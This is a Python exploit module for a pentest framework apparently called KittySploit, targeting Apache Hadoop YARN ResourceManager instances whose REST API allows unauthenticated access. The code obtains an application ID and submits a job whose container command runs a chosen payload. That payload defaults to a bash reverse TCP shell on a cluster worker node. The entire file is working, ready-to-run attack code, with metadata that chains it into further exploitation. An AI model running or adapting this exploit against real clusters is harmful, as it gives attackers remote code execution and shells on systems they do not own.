Apache Hadoop YARN - Unauthenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Hadoop YARN ResourceManager unauthenticated RCE — reverse CMD."""

from __future__ import annotations

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Apache Hadoop YARN - Unauthenticated RCE',
        'description': (
            'Exploits unauthenticated YARN ResourceManager REST API to submit a malicious '
            'application whose AM container runs self.payload on a cluster worker node. '
            'Blind execution — use a reverse CMD payload.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn',
            'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf',
        ],
        'tags': ['hadoop', 'yarn', 'apache', 'misconfig', 'unauth', 'rce'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'YARN AM container command'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/hadoop_unauth_rce_detect'],
            },
        },
    }

    port = OptPort(8088, 'YARN ResourceManager HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    app_name = OptString('ks-yarn', 'Submitted application name', False, advanced=True)
    shell = OptChoice(
        'unix',
        'Shell wrapper for container command',
        False,
        choices=['unix', 'raw'],
        advanced=True,
    )

    _NEW_APP = '/ws/v1/cluster/apps/new-application'
    _SUBMIT = '/ws/v1/cluster/apps'

    def _wrap_command(self, command: str) -> str:
        cmd = str(command or '').strip()
        if not cmd:
            return ''
        if str(self.shell or 'unix') == 'raw':
            return cmd
        safe = cmd.replace('"', '\\"')
        return f'/bin/bash -c "{safe}"'

    def _new_application_id(self) -> str | None:
        r = self.http_request(
            method='POST',
            path=self._NEW_APP,
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        try:
            data = json.loads(r.text or '{}')
        except json.JSONDecodeError:
            return None
        app_id = data.get('application-id') or data.get('applicationId')
        return str(app_id).strip() if app_id else None

    def _submit_command(self, app_id: str, command: str) -> bool:
        body = {
            'application-id': app_id,
            'application-name': str(self.app_name or 'ks-yarn'),
            'am-container-spec': {
                'commands': {
                    'command': self._wrap_command(command),
                },
            },
            'application-type': 'YARN',
        }
        r = self.http_request(
            method='POST',
            path=self._SUBMIT,
            data=json.dumps(body),
            headers={'Content-Type': 'application/json'},
            allow_redirects=False,
        )
        if not r:
            return False
        code = int(r.status_code or 0)
        return code in (200, 201, 202, 204)

    def check(self):
        app_id = self._new_application_id()
        if app_id:
            return {
                'vulnerable': True,
                'reason': f'YARN new-application API exposed (application-id={app_id})',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'YARN new-application API not reachable or not unauthenticated',
            'confidence': 'medium',
        }

    def run(self):
        app_id = self._new_application_id()
        if not app_id:
            print_error('Could not obtain YARN application-id')
            return False

        command = str(self.payload or '').strip()
        if not command:
            print_error('No payload configured')
            return False

        print_status(f'Submitting YARN application {app_id} ...')
        if not self._submit_command(app_id, command):
            print_error('YARN application submission failed')
            return False

        print_success(
            'YARN application submitted; command runs on a worker node (blind RCE — check listener)'
        )
        return True